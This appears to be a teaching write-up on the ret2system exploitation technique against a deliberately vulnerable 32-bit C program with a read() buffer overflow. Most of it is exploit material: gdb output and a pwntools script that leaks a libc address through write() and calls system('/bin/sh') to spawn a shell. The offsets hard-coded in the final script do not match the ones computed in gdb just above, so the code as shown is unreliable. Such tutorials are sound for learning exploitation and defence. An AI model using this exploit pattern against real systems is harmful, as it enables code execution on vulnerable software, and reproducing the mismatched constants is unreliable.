Skip to content

ret2system

We discussed how to make a ROPchain for a statically linked binary. But what if the binary is dynamically linked to the libc? This is where the ret2system exploit comes into play. In case of a dynamically linked binary it cannot be guaranteed that all the required ROPgadgets are present. Due to this we may not be able to make a syscall.

/*gcc -m32 -fno-stack-protector -no-pie -o vuln vuln.c*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFFSIZE 136

void vuln(){
    char buffer[BUFFSIZE];
    read(0,buffer,0x200);
}

int main(){
    vuln();
}

Note

vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a6c3ab368d8cd315e3bb2b970556ed0510bca094, not stripped

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Initial Analysis

The given binary is 32 bit. Only the NX bit is enabled. The binary is dynamically linked. Looking through the source code it can be noticed that there is a an overflow in read() in the vuln function.

Leaking libc

For using this technique we first need to leak some libc addresses. The addresses of all the functions in libc is stored in a table called Global Offset Table or GOT. These addresses are at a certain offset from the libc base address. For leaking a libc address, functions like puts or write can be used. In case of a 32 bit binary the arguments can be pushed onto the stack and for a 64 bit binary the arguments can be put onto the correct registers. For us these arguments are the GOT addresses.

payload = ''
payload += 'a'*140
payload += p32(0x080483a0) # the call to write 
payload += p32(0x080484c6) # main (This is where program returns after calling write)
payload += p32(0x1)        # File_descriptor
payload += p32(0x804a004)  # buffer (basically the address in the GOT table)
payload += p32(0x8)        # buffer size

So we are filling the buffer and calling the write() function for leaking libc. The arguments for write are the file descriptor, the buffer, and the buffer size.So we push these arguments onto the stack. These arguments has to be passed in the reverse order. We are leaking the libc address of getegid function.

Calling system()

After we get a leak we need to call system. As mentioned earlier all libc addresses are at a constant offset from the libc base. We can find this offset using gdb. we can find the base address of libc using the command info proc map. The address of the system function can be found using print system and the address of the /bin/sh string can be found using find 0xf7fa6000, 0xf7dd1000, "/bin/sh".

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb) info proc map
process 19393
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
    0x8048000  0x8049000     0x1000        0x0 /home/gr1dl0ck/Desktop/PWNING/ROP/rop3
    0x8049000  0x804a000     0x1000        0x0 /home/gr1dl0ck/Desktop/PWNING/ROP/rop3
    0x804a000  0x804b000     0x1000     0x1000 /home/gr1dl0ck/Desktop/PWNING/ROP/rop3
    0xf7dd1000 0xf7fa6000   0x1d5000        0x0 /lib/i386-linux-gnu/libc-2.27.so
    0xf7fa6000 0xf7fa7000     0x1000   0x1d5000 /lib/i386-linux-gnu/libc-2.27.so
    0xf7fa7000 0xf7fa9000     0x2000   0x1d5000 /lib/i386-linux-gnu/libc-2.27.so
    0xf7fa9000 0xf7faa000     0x1000   0x1d7000 /lib/i386-linux-gnu/libc-2.27.so
    0xf7faa000 0xf7fad000     0x3000        0x0 
    0xf7fd0000 0xf7fd2000     0x2000        0x0 
    0xf7fd2000 0xf7fd5000     0x3000        0x0 [vvar]
    0xf7fd5000 0xf7fd6000     0x1000        0x0 [vdso]
    0xf7fd6000 0xf7ffc000    0x26000        0x0 /lib/i386-linux-gnu/ld-2.27.so
    0xf7ffc000 0xf7ffd000     0x1000    0x25000 /lib/i386-linux-gnu/ld-2.27.so
    0xf7ffd000 0xf7ffe000     0x1000    0x26000 /lib/i386-linux-gnu/ld-2.27.so
    0xfffdd000 0xffffe000    0x21000        0x0 [stack]
(gdb) print system
$2 = {<text variable, no debug info>} 0xf7e0e250 <system>
(gdb) find 0xf7dd1000,0xf7fa6000,"/bin/sh"
0xf7f4f3cf
1 pattern found.

Now that we have found the addresses we need to find the offsets of these functions from the libc base.

1
2
3
4
5
6
7
8
(gdb) print getegid
$4 = {<text variable, no debug info>} 0xf7e90f40 <getegid>   <~~~ GOT address of getegid 
(gdb) p/x 0xf7e90f40 - 0xf7dd1000                            <~~~ Finding the offset of getegid from base
$5 = 0xbff40
(gdb) p/x 0xf7e0e250 - 0xf7dd1000                            <~~~ Finding the offset of system from base
$6 = 0x3d250
(gdb) p/x 0xf7f4f3cf - 0xf7dd1000                            <~~~ Finding the offset of /bin/sh from base
$7 = 0x17e3cf

Now that we have all the required information we can find the address of the system function and call it thus spawning a shell.

from pwn import *

base_func_off=786064
system_base_off=250368
off_shell=1564879

payload = ''
payload += 'a'*140
payload += p32(0x080483a0) # the call to write 
payload += p32(0x080484c6) # main
payload += p32(0x1)        # File_descriptor
payload += p32(0x804a004)  # buffer basically the address in the GOT table
payload += p32(0x8)        # buffer size

io=process('./vuln') 
io.sendline(payload)
out = io.recv(4)
func = u32(out)

print ("libc_func_addr:{}".format(hex(func)))

base = func - base_func_off
system = base + system_base_off
shell = base + off_shell

print ("libc_base:{}".format(hex(base)))
print ("system address:{}".format(hex(system)))
print "shell_address:"+ hex(shell)

payload = ''
payload += 'a'*140 
payload += p32(system)
payload += 'aaaa'
payload += p32(shell)


io.sendline(payload)
io.interactive()